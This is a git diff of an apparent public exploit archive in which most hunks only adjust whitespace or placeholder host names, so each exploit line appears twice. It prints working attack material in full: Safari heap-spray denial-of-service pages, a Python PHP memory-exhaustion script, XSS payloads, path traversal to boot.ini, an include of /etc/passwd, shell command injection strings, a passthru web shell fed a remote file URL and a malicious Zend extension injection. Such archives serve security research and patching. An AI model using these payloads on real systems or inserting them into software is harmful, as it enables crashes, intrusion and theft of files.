b/platforms/osx/remote/33810.html @@ -6,4 +6,4 @@ Successful exploits can allow an attacker to run arbitrary code in the context o Safari on Apple iPhone and iPod touch 3.1.3 is vulnerable; other versions may also be affected. -<html> <head> <title> Bad "throw" exception Remote DoS on Safari for iPhone & iPod Touch </title> <script language="JavaScript"> var n=unescape("%u9090"); var s=unescape("%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000"); for(var i=0;i<64;i++){ n=n+n; document.write('<script>throw n+s;</scr'+'ipt>'); } </script> </head> <body> <center> <h1> Bad "throw" exception Remote DoS on Safari for iPhone & iPod Touch </h1> <h2> (C) Nishant Das Patnaik </h2> </center></body> </html> \ No newline at end of file +<html> <head> <title> Bad "throw" exception Remote DoS on Safari for iPhone & iPod Touch </title> <script language="JavaScript"> var n=unescape("%u9090"); var s=unescape("%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000"); for(var i=0;i<64;i++){ n=n+n; document.write('<script>throw n+s;</scr'+'ipt>'); } </script> </head> <body> <center> <h1> Bad "throw" exception Remote DoS on Safari for iPhone & iPod Touch </h1> <h2> (C) Nishant Das Patnaik </h2> </center></body> </html> \ No newline at end of file diff --git a/platforms/osx/remote/33811.html b/platforms/osx/remote/33811.html index bad8c1ae8..cff9b1f40 100755 --- a/platforms/osx/remote/33811.html +++ b/platforms/osx/remote/33811.html @@ -6,4 +6,4 @@ Successful exploits will allow an attacker to run arbitrary code in the context Safari on Apple iPhone and iPod touch 3.1.3 and prior are vulnerable. -<html> <head> <script language="JavaScript" type="Text/Javascript"> var slope = unescape("%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141"); var slope2 = unescape("%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000"); var finalslope2 = expand(slope2, 49000000); var finalslope = expand(slope, 21000000); document.write(finalslope2); document.write(finalslope); function expand (slope, size) { var i = Math.ceil(Math.log(size) / Math.LN2), res = slope; do { res += res; } while (0 < --i); return res.slice(0, slope.length * size); } </script> </head> <body> </body> </html> <html><body><center><h1> Remote DoS on Safari for iPhone & iPod Touch </h1> <h2> (C) Nishant Das Patnaik </h2> </center></body></html> \ No newline at end of file +<html> <head> <script language="JavaScript" type="Text/Javascript"> var slope = unescape("%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141"); var slope2 = unescape("%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000"); var finalslope2 = expand(slope2, 49000000); var finalslope = expand(slope, 21000000); document.write(finalslope2); document.write(finalslope); function expand (slope, size) { var i = Math.ceil(Math.log(size) / Math.LN2), res = slope; do { res += res; } while (0 < --i); return res.slice(0, slope.length * size); } </script> </head> <body> </body> </html> <html><body><center><h1> Remote DoS on Safari for iPhone & iPod Touch </h1> <h2> (C) Nishant Das Patnaik </h2> </center></body></html> \ No newline at end of file diff --git a/platforms/perl/webapps/37117.txt b/platforms/perl/webapps/37117.txt index 9c1f812de..22e6beed5 100755 --- a/platforms/perl/webapps/37117.txt +++ b/platforms/perl/webapps/37117.txt @@ -21,4 +21,4 @@ URL: http://www.example.com/croogo/admin/roles <tr class="striped"><td>4</td> <td>"><iframe src="a" onload='alert("VL")' <<="" td=""> <td>"><iframe src=a onload=alert("VL") <</td> <td> -<a href="/croogo/admin/roles/edit/4">Edit</a> <a href="/croogo/admin/roles/delete \ No newline at end of file +<a href="/croogo/admin/roles/edit/4">Edit</a> <a href="/croogo/admin/roles/delete \ No newline at end of file diff --git a/platforms/php/dos/12154.txt b/platforms/php/dos/12154.txt index 2f0a1b301..154d5ff5b 100755 --- a/platforms/php/dos/12154.txt +++ b/platforms/php/dos/12154.txt @@ -37,7 +37,7 @@ print "#[+] Care-Taker d4rk-blu [ICW] #" print "#[+] Indian Cyber Warriors #" print "####################################\n" print "Enter Domain Adress:" -domain=raw_input("[+]Ex: www.server<http://www.server>:") +domain=raw_input("[+]Ex: www.site.com<http://www.site.com>:") url ='http://'+domain+'/misc.php?show=latestposts&vsacb_resnr=10000000' res = urllib.urlopen(url).read(200) phpmem= re.findall('of (.*?)bytes.*?',res) @@ -65,7 +65,7 @@ C:\Python25>python vbexploit.py #################################### Enter Domain Adress: -[+]Ex: www.server<http://www.server>: sitehere +[+]Ex: www.site.com<http://www.site.com>: sitehere [+]Server php memmory is:32 MB [+]Enter the No of request you wann send:20 diff --git a/platforms/php/dos/12554.txt b/platforms/php/dos/12554.txt index 85db9ef5a..5f31f52ff 100755 --- a/platforms/php/dos/12554.txt +++ b/platforms/php/dos/12554.txt @@ -13,4 +13,4 @@ MiniManager For Mangos/Trinity Server DoS Vulnerability [+] Dork: inurl:"char.php?id=" Or intitle:Minimanager for trinity server -[+] Vulnerability: www.server/[path]/libs/captcha/CaptchaSecurityImages.php?height=50000&Width=50000 \ No newline at end of file +[+] Vulnerability: www.site.com/[path]/libs/captcha/CaptchaSecurityImages.php?height=50000&Width=50000 \ No newline at end of file diff --git a/platforms/php/dos/18296.txt b/platforms/php/dos/18296.txt index d2384fd6d..d01790284 100755 --- a/platforms/php/dos/18296.txt +++ b/platforms/php/dos/18296.txt @@ -1,4 +1,4 @@ - + # Exploit Title: CVE-2011-4885 PHP Hashtables Denial of Service Exploit diff --git a/platforms/php/dos/21428.txt b/platforms/php/dos/21428.txt index d4e8fbec4..049dd0691 100755 --- a/platforms/php/dos/21428.txt +++ b/platforms/php/dos/21428.txt @@ -9,4 +9,4 @@ Reportedly, submitting a specially crafted URL will successfully remove user acc It should be noted that known usernames of the system is required. -http://www.host.com/supp_membre.php?choix_membre_supp=polom \ No newline at end of file +http://www.host.com/supp_membre.php?choix_membre_supp=polom \ No newline at end of file diff --git a/platforms/php/dos/22110.txt b/platforms/php/dos/22110.txt index 65fa6a018..d8423d6b9 100755 --- a/platforms/php/dos/22110.txt +++ b/platforms/php/dos/22110.txt @@ -4,4 +4,4 @@ A denial of service vulnerability has been reported for the modules.php script u An attacker can exploit this vulnerability by modifying certain parameters when making a request for the modules.php script. This will prevent visitors to the site hosting PHP-Nuke from creating a new account thereby leading to a denial of service vulnerability. -http://server/modules.php?name=Your_Account&op=userinfo&uname= \ No newline at end of file +http://target.com/modules.php?name=Your_Account&op=userinfo&uname= \ No newline at end of file diff --git a/platforms/php/dos/22494.txt b/platforms/php/dos/22494.txt index d9fb79303..baae98c07 100755 --- a/platforms/php/dos/22494.txt +++ b/platforms/php/dos/22494.txt @@ -4,4 +4,4 @@ It has been reported that an attacker may trigger a denial of service condition It should be noted that although osCommerce version 2.2cvs was reported vulnerable, previous versions may also be affected. -product_info.php?products_id=[large amount of random content] \ No newline at end of file +product_info.php?products_id=[large amount of random content] \ No newline at end of file diff --git a/platforms/php/dos/22660.txt b/platforms/php/dos/22660.txt index 938b88aa6..b4fa0da52 100755 --- a/platforms/php/dos/22660.txt +++ b/platforms/php/dos/22660.txt @@ -3,4 +3,4 @@ source: http://www.securityfocus.com/bid/7702/info some submissions to the rating system. Because of this, a remote attacker may be able to submit a string that causes a denial of service to legitmate users. -http://www.example.com/modules.php?op=modload&name=Downloads&file=index&req=addrating&ratinglid=[DOWNLOAD ID]&ratinguser=[REMOTE USER]&ratinghost_name=[REMOTE HOST ;-)]&rating=[YOUR RANDOM CONTENT] \ No newline at end of file +http://www.example.com/modules.php?op=modload&name=Downloads&file=index&req=addrating&ratinglid=[DOWNLOAD ID]&ratinguser=[REMOTE USER]&ratinghost_name=[REMOTE HOST ;-)]&rating=[YOUR RANDOM CONTENT] \ No newline at end of file diff --git a/platforms/php/dos/23311.txt b/platforms/php/dos/23311.txt index bd4f67797..b6986ff64 100755 --- a/platforms/php/dos/23311.txt +++ b/platforms/php/dos/23311.txt @@ -8,4 +8,4 @@ It should be noted that although this vulnerability has been reported to affect In the Name inputbox of the Chatbox type: -<script = javascript> alert('DoS') <script> \ No newline at end of file +<script = javascript> alert('DoS') <script> \ No newline at end of file diff --git a/platforms/php/dos/25752.txt b/platforms/php/dos/25752.txt index 211c5bc7d..7b1e395e5 100755 --- a/platforms/php/dos/25752.txt +++ b/platforms/php/dos/25752.txt @@ -6,4 +6,4 @@ An attacker can send an email message with a malformed header field to initiate PHPMailer 1.72 and prior versions are affected by this issue. -From: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA... x 998 \ No newline at end of file +From: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA... x 998 \ No newline at end of file diff --git a/platforms/php/dos/29693.txt b/platforms/php/dos/29693.txt index afb47a7a6..7aff6c277 100755 --- a/platforms/php/dos/29693.txt +++ b/platforms/php/dos/29693.txt @@ -8,4 +8,4 @@ Although this issue is local in nature, a remote attacker may exploit it by usin This issue affects all versions of PHP. -$ curl http://www.example.com/phpmyadmin/ -d a`php -r 'echo str_repeat("[a]",20000);'`=1 \ No newline at end of file +$ curl http://www.example.com/phpmyadmin/ -d a`php -r 'echo str_repeat("[a]",20000);'`=1 \ No newline at end of file diff --git a/platforms/php/dos/30395.txt b/platforms/php/dos/30395.txt index c3d0ff64e..8d728724b 100755 --- a/platforms/php/dos/30395.txt +++ b/platforms/php/dos/30395.txt @@ -1,4 +1,4 @@ -SektionEins GmbH + SektionEins GmbH www.sektioneins.de -= Security Advisory =- diff --git a/platforms/php/dos/30753.txt b/platforms/php/dos/30753.txt index 99dd80740..ff80a3ab7 100755 --- a/platforms/php/dos/30753.txt +++ b/platforms/php/dos/30753.txt @@ -6,4 +6,4 @@ Successfully exploiting this issue allows remote attackers to consume excessive AutoIndex PHP Script 2.2.2 and 2.2.3 are vulnerable to this issue; prior versions may also be affected. -http://www.example.com/AutoIndex/index.php?dir=%00 \ No newline at end of file +http://www.example.com/AutoIndex/index.php?dir=%00 \ No newline at end of file diff --git a/platforms/php/dos/35354.txt b/platforms/php/dos/35354.txt index cf2f03be2..331d28cf8 100755 --- a/platforms/php/dos/35354.txt +++ b/platforms/php/dos/35354.txt @@ -8,4 +8,4 @@ PHP 5.3.5 is vulnerable; other versions may also be affected. The following proof-of-concept is available: -grapheme_extract('a',-1); \ No newline at end of file +grapheme_extract('a',-1); \ No newline at end of file diff --git a/platforms/php/dos/35483.txt b/platforms/php/dos/35483.txt index 0ca277417..f61cf560a 100755 --- a/platforms/php/dos/35483.txt +++ b/platforms/php/dos/35483.txt @@ -6,4 +6,4 @@ Successful attacks will cause the application to crash, creating a denial-of-ser PHP versions prior to 5.3.6 are vulnerable. -numfmt_set_symbol(numfmt_create("en", NumberFormatter::PATTERN_DECIMAL), 2147483648, "") \ No newline at end of file +numfmt_set_symbol(numfmt_create("en", NumberFormatter::PATTERN_DECIMAL), 2147483648, "") \ No newline at end of file diff --git a/platforms/php/dos/36682.php b/platforms/php/dos/36682.php index 7cfd84680..e9ed71b72 100755 --- a/platforms/php/dos/36682.php +++ b/platforms/php/dos/36682.php @@ -15,4 +15,4 @@ $result = $stmt->fetch(PDO::FETCH_LAZY); session_start(); $_SESSION['PDORow'] = $result; -?> \ No newline at end of file +?> \ No newline at end of file diff --git a/platforms/php/dos/36789.php b/platforms/php/dos/36789.php index a724988f5..a3048cdb4 100755 --- a/platforms/php/dos/36789.php +++ b/platforms/php/dos/36789.php @@ -11,4 +11,4 @@ while (true) { strtotime('Monday 00:00 Europe/Paris'); // Memory leak } -?> \ No newline at end of file +?> \ No newline at end of file diff --git a/platforms/php/dos/40301.php b/platforms/php/dos/40301.php index 0d2c0ef98..44f3c7c1a 100755 --- a/platforms/php/dos/40301.php +++ b/platforms/php/dos/40301.php @@ -12,4 +12,4 @@ if (!extension_loaded("domxml")) die("You need domxml extension loaded!"); $str = str_repeat('A', 9999); domxml_open_file($str); -?> \ No newline at end of file +?> \ No newline at end of file diff --git a/platforms/php/dos/40302.php b/platforms/php/dos/40302.php index d64e82207..154e1d2f9 100755 --- a/platforms/php/dos/40302.php +++ b/platforms/php/dos/40302.php @@ -18,4 +18,4 @@ class MyCloneableClass } $obj = new MyCloneableClass(); $obj2 = clone $obj; -?> \ No newline at end of file +?> \ No newline at end of file diff --git a/platforms/php/dos/40305.txt b/platforms/php/dos/40305.txt index 45c11adbb..8549890ec 100755 --- a/platforms/php/dos/40305.txt +++ b/platforms/php/dos/40305.txt @@ -12,4 +12,4 @@ if (!extension_loaded("domxml")) die("You need domxml extension loaded!"); $str = str_repeat('A', 9999); simplexml_load_file($str); -?> \ No newline at end of file +?> \ No newline at end of file diff --git a/platforms/php/dos/40313.php b/platforms/php/dos/40313.php index 8e14325c3..9b8815adb 100755 --- a/platforms/php/dos/40313.php +++ b/platforms/php/dos/40313.php @@ -1,4 +1,4 @@ -<?php + <?php ############################################################################# ## PHP 5.0.0 imap_mail() Local Denial of Service ## Tested on Windows Server 2012 R2 64bit, English, PHP 5.0.0 @@ -12,4 +12,4 @@ if (!extension_loaded("imap")) die("You need imap extension loaded!"); $str = str_repeat('A', 9999); imap_mail($str,'',''); -?> \ No newline at end of file +?> \ No newline at end of file diff --git a/platforms/php/dos/40314.php b/platforms/php/dos/40314.php index 693a0736c..149d2b7bf 100755 --- a/platforms/php/dos/40314.php +++ b/platforms/php/dos/40314.php @@ -1,4 +1,4 @@ -<?php + <?php ############################################################################# ## PHP 5.0.0 hw_docbyanchor() Local Denial of Service ## Tested on Windows Server 2012 R2 64bit, English, PHP 5.0.0 @@ -11,4 +11,4 @@ if (!extension_loaded("domxml")) die("You need domxml extension loaded!"); hw_docbyanchor(0,0); -?> \ No newline at end of file +?> \ No newline at end of file diff --git a/platforms/php/dos/40315.php b/platforms/php/dos/40315.php index 885dfd441..34f64aa68 100755 --- a/platforms/php/dos/40315.php +++ b/platforms/php/dos/40315.php @@ -1,4 +1,4 @@ -<?php + <?php ############################################################################# ## PHP 5.0.0 html_doc_file() Local Denial of Service ## Tested on Windows Server 2012 R2 64bit, English, PHP 5.0.0 @@ -12,4 +12,4 @@ if (!extension_loaded("domxml")) die("You need domxml extension loaded!"); $str = str_repeat('A', 9999); html_doc_file($str); -?> \ No newline at end of file +?> \ No newline at end of file diff --git a/platforms/php/local/21347.php b/platforms/php/local/21347.php index 3c7c0e393..fb9fcc253 100755 --- a/platforms/php/local/21347.php +++ b/platforms/php/local/21347.php @@ -33,4 +33,4 @@ Upload a file: <input name='file' type='file'> <input type='submit' value='Upload'> </form> "; -?> \ No newline at end of file +?> \ No newline at end of file diff --git a/platforms/php/local/22911.php b/platforms/php/local/22911.php index 28c5ffb88..1f832e0b8 100755 --- a/platforms/php/local/22911.php +++ b/platforms/php/local/22911.php @@ -9,4 +9,4 @@ This issue is reported to exist in PHP versions 4.3.0 and later. <? echo("trying to read /etc/passwd"); include("/etc/passwd"); -?> \ No newline at end of file +?> \ No newline at end of file diff --git a/platforms/php/local/24173.txt b/platforms/php/local/24173.txt index 78d8d3986..065ae052a 100755 --- a/platforms/php/local/24173.txt +++ b/platforms/php/local/24173.txt @@ -6,4 +6,4 @@ This issue might allow an attacker to execute arbitrary shell commands on a comp This issue is reported to affect PHP under Microsoft Windows version 4.3.3 and 4.3.5, it is likely that other Microsoft Windows versions are affected as well. -" || dir || \ No newline at end of file +" || dir || \ No newline at end of file diff --git a/platforms/php/local/26352.php b/platforms/php/local/26352.php index 7817e7840..59e8a3cc6 100755 --- a/platforms/php/local/26352.php +++ b/platforms/php/local/26352.php @@ -22,4 +22,4 @@ $file=curl_exec($ch); echo $file; -?> \ No newline at end of file +?> \ No newline at end of file diff --git a/platforms/php/local/29528.txt b/platforms/php/local/29528.txt index 80a539d40..0db6a1b12 100755 --- a/platforms/php/local/29528.txt +++ b/platforms/php/local/29528.txt @@ -6,4 +6,4 @@ This vulnerability would be an issue in shared-hosting configurations where mult This issue is reported to affect PHP version 5.2.0; other versions may also be vulnerable. -php -r 'fopen("srpath://../../../../../../../dir/pliczek", "a");' \ No newline at end of file +php -r 'fopen("srpath://../../../../../../../dir/pliczek", "a");' \ No newline at end of file diff --git a/platforms/php/local/29712.txt b/platforms/php/local/29712.txt index dff7a4ce5..0e3cf885b 100755 --- a/platforms/php/local/29712.txt +++ b/platforms/php/local/29712.txt @@ -42,4 +42,4 @@ zend_extension=/var/www/upload/evil.so ... zend_gui_password=OLDMD5 -The next time the webserver is restarted, the injected malicious Zend Extension will be loaded and executed with root permissions. \ No newline at end of file +The next time the webserver is restarted, the injected malicious Zend Extension will be loaded and executed with root permissions. \ No newline at end of file diff --git a/platforms/php/remote/18836.py b/platforms/php/remote/18836.py index ac446d2b9..df2097ee8 100755 --- a/platforms/php/remote/18836.py +++ b/platforms/php/remote/18836.py @@ -36,5 +36,5 @@ if __name__ == '__main__': PORT = sys.argv[2] cgi_exploit() except IndexError: - print '[+]Usage: cgi_test.py server 80' + print '[+]Usage: cgi_test.py site.com 80' sys.exit(-1) \ No newline at end of file diff --git a/platforms/php/remote/19553.txt b/platforms/php/remote/19553.txt index dec469549..8b89505b7 100755 --- a/platforms/php/remote/19553.txt +++ b/platforms/php/remote/19553.txt @@ -11,4 +11,4 @@ The problem lies in the line: By exploiting this problem users can view any file on the system which the http daemon user id has access to. http://some.stupid.isp.net/~dumbuser/cool-logs/mlog.html?screen=[fully -qualified path to any file on the system] \ No newline at end of file +qualified path to any file on the system] \ No newline at end of file diff --git a/platforms/php/remote/21155.txt b/platforms/php/remote/21155.txt index a3de7ebcb..7d4a52ad2 100755 --- a/platforms/php/remote/21155.txt +++ b/platforms/php/remote/21155.txt @@ -7,4 +7,4 @@ A problem with the package has been discovered that could allow remote users to This makes it possible for a remote user to execute arbitrary commands, and potentially gain access to a vulnerable host. Asking the Php script for Pinging, Nmap, or traceroute this kind of adresse -<www.somehost.com;ls -al> will allow any user to run " ls -al " command as whatever user runs the web server. \ No newline at end of file +<www.somehost.com;ls -al> will allow any user to run " ls -al " command as whatever user runs the web server. \ No newline at end of file diff --git a/platforms/php/remote/22696.txt b/platforms/php/remote/22696.txt index ac383c468..8b6ca999a 100755 --- a/platforms/php/remote/22696.txt +++ b/platforms/php/remote/22696.txt @@ -4,4 +4,4 @@ A cross-site scripting vulnerability has been discovered in PHP. The problem occ Successful exploitation of this issue would allow an attacker to execute arbitrary script code in a victim's browser within the context of the visited website. This may allow for the theft of sensitive information or other attacks. -http://www.example.org/index.php?PHPSESSID="><script>...</script> \ No newline at end of file +http://www.example.org/index.php?PHPSESSID="><script>...</script> \ No newline at end of file diff --git a/platforms/php/remote/24280.txt b/platforms/php/remote/24280.txt index e4f36315e..ed47cf4b2 100755 --- a/platforms/php/remote/24280.txt +++ b/platforms/php/remote/24280.txt @@ -12,4 +12,4 @@ If a web application uses strip_tags() similar to: $example = strip_tags($_REQUEST['user_input'], "<b><i><s>"); Then possible tags that may lead to exploitation might be: -<\0script> or <s\0cript> \ No newline at end of file +<\0script> or <s\0cript> \ No newline at end of file diff --git a/platforms/php/remote/24985.txt b/platforms/php/remote/24985.txt index bb3e82686..b029d4916 100755 --- a/platforms/php/remote/24985.txt +++ b/platforms/php/remote/24985.txt @@ -6,4 +6,4 @@ It is reported that these vulnerabilities may only be exploited on Windows. http://www.example.com/phpscript.php?whatever=../../../../boot.ini%00 -http://www.example.com/phpscript.php?whatever=..\'file.ext \ No newline at end of file +http://www.example.com/phpscript.php?whatever=..\'file.ext \ No newline at end of file diff --git a/platforms/php/remote/25627.txt b/platforms/php/remote/25627.txt index df30a2639..843ca0af9 100755 --- a/platforms/php/remote/25627.txt +++ b/platforms/php/remote/25627.txt @@ -22,4 +22,4 @@ or passthru($_GET['nst']); ?> -Then upload, and go to http://example.com/files/nst.php.ns?nst=http://your/file.txt \ No newline at end of file +Then upload, and go to http://example.com/files/nst.php.ns?nst=http://your/file.txt \ No newline at end of file diff --git a/platforms/php/remote/30130.txt b/platforms/php/remote/30130.txt index 59bb8dc97..0b38832dc 100755 --- a/platforms/php/remote/30130.txt +++ b/platforms/php/remote/30130.txt @@ -6,4 +6,4 @@ An attacker can exploit this issue to inject additional cookie attributes into s This issue affects PHP 5.2.3 (and prior versions) and PHP 4.4.7 (and prior versions). -http://www.example.com/session.php/PHPSESSID=ID;INJECTED=ATTRIBUTE;/ \ No newline at end of file +http://www.example.com/session.php/PHPSESSID=ID;INJECTED=ATTRIBUTE;/ \ No newline at end of file diff --git a/platforms/php/remote/31053.php b/platforms/php/remote/31053.php index 39d0aeb8b..aa5c9e4c6 100755 --- a/platforms/php/remote/31053.php +++ b/platforms/php/remote/31053.php @@ -6,4 +6,4 @@ Attackers can use this issue to gain access to restricted files, potentially obt The issue affects PHP 5.2.5 and 5.2.4. -var_dump(curl_exec(curl_init("file://safe_mode_bypass\x00&quot;.__FILE__))); \ No newline at end of file +var_dump(curl_exec(curl_init("file://safe_mode_bypass\x00&quot;.__FILE__))); \ No newline at end of file diff --git a/platforms/php/remote/31639.txt b/platforms/php/remote/31639.txt index 09bbd6fbb..27f7ffc1e 100755 --- a/platforms/php/remote/31639.txt +++ b/platforms/php/remote/31639.txt @@ -6,4 +6,4 @@ To exploit this issue, an attacker must entice an unsuspecting user to load a ma Trillian 3.1.9.0 Basic is vulnerable; other versions may also be affected. -http://www.p1mp4m.es/index.php?act=attach&type=post&id=18 \ No newline at end of file +http://www.p1mp4m.es/index.php?act=attach&type=post&id=18 \ No newline at end of file diff --git a/platforms/php/remote/33525.txt b/platforms/php/remote/33525.txt index 8eca53830..d835a6819 100755 --- a/platforms/php/remote/33525.txt +++ b/platforms/php/remote/33525.txt @@ -14,4 +14,4 @@ Versions prior to Zend Framework 1.7.9, 1.8.5, and 1.9.7 are vulnerable. The following example URI is available: -http://www.example.com/index.php?lang=english&skin=&debut=0&seeAdd=1&seeNotes=&seeMess=[XSS-Vuln] \ No newline at end of file +http://www.example.com/index.php?lang=english&skin=&debut=0&seeAdd=1&seeNotes=&seeMess=[XSS-Vuln] \ No newline at end of file diff --git a/platforms/php/remote/33988.txt b/platforms/php/remote/33988.txt index 2d12d4eb8..9f776fc24 100755 --- a/platforms/php/remote/33988.txt +++ b/platforms/php/remote/33988.txt @@ -7,4 +7,4 @@ Attackers can exploit these issues to run arbitrary code within the context of t PHP 5.3 through 5.3.2 are vulnerable. -$ php -r "fopen('phar:///usr/bin/phar.phar/*%08x-%08x-%08x-%08x-%08x-%08x-%08x-%08x-%08x','r');" \ No newline at end of file +$ php -r "fopen('phar:///usr/bin/phar.phar/*%08x-%08x-%08x-%08x-%08x-%08x-%08x-%08x-%08x','r');" \ No newline at end of file diff --git a/platforms/php/remote/34132.txt b/platforms/php/remote/34132.txt index ad344038e..e2cc40cdd 100755 --- a/platforms/php/remote/34132.txt +++ b/platforms/php/remote/34132.txt @@ -1,4 +1,4 @@ -*Product description* + *Product description* The IBM 1754 GCM family provides KVM over IP and serial console management technology in a single appliance. Versions v1.20.0.22575 and prior are vulnerables. diff --git a/platforms/php/remote/34160.txt b/platforms/php/remote/34160.txt index 504613dcc..ba08178e8 100755 --- a/platforms/php/remote/34160.txt +++ b/platforms/php/remote/34160.txt @@ -292,4 +292,4 @@ print sys.exit() -##EDB-Note: Web server has to be able to interpret .php5 files \ No newline at end of file +##EDB-Note: Web server has to be able to interpret .php5 files \ No newline at end of file diff --git a/platforms/php/remote/34979.php b/platforms/php/remote/34979.php index 7ef6cc630..c8b07c5c6 100755 --- a/platforms/php/remote/34979.php +++ b/platforms/php/remote/34979.php @@ -9,4 +9,4 @@ $b = "bbbbbbbbbbb"; str_repeat("THIS IS A SECRET MESSAGE, ISN'T IT?", 1); $var3 = mb_strcut($b, 0, 1000); echo $var3; -?> \ No newline at end of file +?> \ No newline at end of file diff --git a/platforms/php/remote/34985.txt b/platforms/php/remote/34985.txt index 5d08a40b7..9badc2344 100755 --- a/platforms/php/remote/34985.txt +++ b/platforms/php/remote/34985.txt @@ -7,4 +7,4 @@ An attacker may leverage these issues to execute arbitrary script code in the br pfSense 1.2.3 is vulnerable; other versions may also be affected. http://www.example.com/graph.php?ifnum=%22/%3E%3Cscript%3Ealert%281%29;%3C/script%3E&ifname= -http://www.example.com/graph.php?ifnum=&ifname=%22/%3E%3Cscript%3Ealert%281%29;%3C/script%3E \ No newline at end of file +http://www.example.com/graph.php?ifnum=&ifname=%22/%3E%3Cscript%3Ealert%281%29;%3C/script%3E \ No newline at end of file diff --git a/platforms/php/remote/37688.txt b/platforms/php/remote/37688.txt index bb2341a73..0c77c15cd 100755 --- 